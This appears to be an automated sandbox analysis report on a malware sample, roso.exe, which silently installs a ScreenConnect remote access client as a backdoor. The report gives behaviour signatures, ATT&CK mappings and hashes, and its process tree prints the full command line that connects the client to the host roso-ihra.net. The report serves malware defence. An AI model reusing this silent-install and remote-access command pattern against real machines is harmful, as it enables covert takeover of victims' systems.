Overview

overview

8

Static

static

3

roso.exe

windows10-2004-x64

8

roso.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/07/2026, 10:44

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General

  • Target
    roso.exe
  • Size 81.2MB
  • Sample260718-ms637ab14x
  • SHA256 630b490da74a4a19fa116123820acb72af87bfff3615cff5bcce74b957a437cc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoverypersistenceprivilege_escalationratrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\roso.exe
    "C:\Users\Admin\AppData\Local\Temp\roso.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3376
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\install.setup.msi" /qn /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:696
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3744
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1C3814532B7E956C24ED3B287762D0A8
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4368
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI8CE4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240750031 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1688
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 0C926469795080ADCC3E2857CD00B090 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2208
  • C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=roso-ihra.net&p=8041&s=703f06a9-f36e-4f1e-9d4e-81c7552d7556&k=BgIAAACkAABSU0ExAAgAAAEAAQCRiH6ZiXCgqZ9YqrBhVYcjdI5YW98ywbPWvXjnx1YQvGgIllLTGz%2fhiML4ye2Ih%2fryjawybtWWkcvIMDLZaGU9u3ZEyAy2m7PmIwqgTpHf4CauaazLx3ra92OeB%2fY5E6eCw6ZjbrUZvCki9BcJ65XC2NOUs1mCZEOJjsHCBnAVzgDrVe0zqabp0z4KWKnNFmmPAd9weNJlScHCUty3pp%2bRAC9zqRij4AGJHy11MSydtBy9LvivDIiZEhBKbvokWjHq7rs1gkAA7Y%2fy03CecICcOWBK%2bzOWjOTpz9dYchoDyRJ1Hk39dJ5Hx9N5iJKPSlkqq8A72NWJNUDx3h5d%2bDP1"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.WindowsClient.exe" "RunRole" "171759b4-8f96-4af3-acae-da86d4b06a97" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4312
    • C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.WindowsClient.exe" "RunRole" "c6f8b251-d809-45c4-969e-e10b5bd08805" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3964

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Defense Evasion

        Modify Registry

        1
        T1112

        Credential Access

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        2
        T1012

        System Information Discovery

        3
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

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        Downloads

        e598a28.rbs
        • Path C:\Config.Msi\e598a28.rbs
        • Size 214KB
        • SHA256 babcaa87cbe23fbfd18190dce445880048b51da1993450858304b018713801c1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.Override.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\Client.Override.resources
        • Size 32KB
        • SHA256 7d99142d7a08de0a156caad0a2dbeed573461775a5c0eb460b493d7a8380f5b1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\Client.en-US.resources
        • Size 48KB
        • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\Client.resources
        • Size 26KB
        • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Client.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsAuthenticationPackage.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.WindowsClient.exe
        • Size 588KB
        • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe.config
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ScreenConnect.WindowsCredentialProvider.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 822KB
        • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        app.config
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\app.config
        • Size 1KB
        • SHA256 92aa0b705f755cecf70dd713990db5461df6b7a7c650c77c9a79f43a2d92a6f4
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        system.config
        • Path C:\Program Files (x86)\ScreenConnect Client (59d2220d6af30de0)\system.config
        • Size 933B
        • SHA256 aa73877892c6af39737123f58f589f58cb9a07484150f76840dd651a88e958de
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        install.setup.msi
        • Path C:\Users\Admin\AppData\Local\Temp\install.setup.msi
        • Size 11.2MB
        • SHA256 084eedd6896571e4f3a50a64ed5817589a2db1050e5fd46ab508be882bec1d91
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI8CE4.tmp
        • Path C:\Windows\Installer\MSI8CE4.tmp
        • Size 1.0MB
        • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Microsoft.Deployment.WindowsInstaller.dll
        • Path C:\Windows\Installer\MSI8CE4.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Windows\Installer\MSI8CE4.tmp-\ScreenConnect.Core.dll
        • Size 536KB
        • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.InstallerActions.dll
        • Path C:\Windows\Installer\MSI8CE4.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Windows\Installer\MSI8CE4.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI94E5.tmp
        • Path C:\Windows\Installer\MSI94E5.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/1672-73-0x0000000001DA0000-0x0000000001DB8000-memory.dmp
        Download

        memory/1672-98-0x0000000004740000-0x0000000004776000-memory.dmp
        Download

        memory/1672-100-0x0000000004A40000-0x0000000004AD2000-memory.dmp
        Download

        memory/1672-102-0x00000000046A0000-0x00000000046E1000-memory.dmp
        Download

        memory/1672-104-0x0000000004C30000-0x0000000004D02000-memory.dmp
        Download

        memory/1672-89-0x00000000046F0000-0x0000000004740000-memory.dmp
        Download

        memory/1688-30-0x0000000005710000-0x000000000579C000-memory.dmp
        Download

        memory/1688-34-0x0000000005950000-0x0000000005AFA000-memory.dmp
        Download

        memory/1688-35-0x00000000060C0000-0x000000000667A000-memory.dmp
        Download

        memory/1688-26-0x0000000005660000-0x000000000566A000-memory.dmp
        Download

        memory/1688-22-0x0000000005620000-0x000000000564E000-memory.dmp
        Download

        memory/4312-113-0x0000000000330000-0x00000000003C6000-memory.dmp
        Download

        memory/4312-114-0x0000000000D50000-0x0000000000D86000-memory.dmp
        Download

        memory/4312-115-0x000000001B3A0000-0x000000001B42C000-memory.dmp
        Download

        memory/4312-116-0x000000001B5E0000-0x000000001B78A000-memory.dmp
        Download

        memory/4312-117-0x000000001B920000-0x000000001BAA8000-memory.dmp
        Download

        memory/4312-119-0x0000000002670000-0x0000000002688000-memory.dmp
        Download

        memory/4312-118-0x0000000000B20000-0x0000000000B38000-memory.dmp
        Download

        memory/4312-120-0x00000000027E0000-0x0000000002821000-memory.dmp
        Download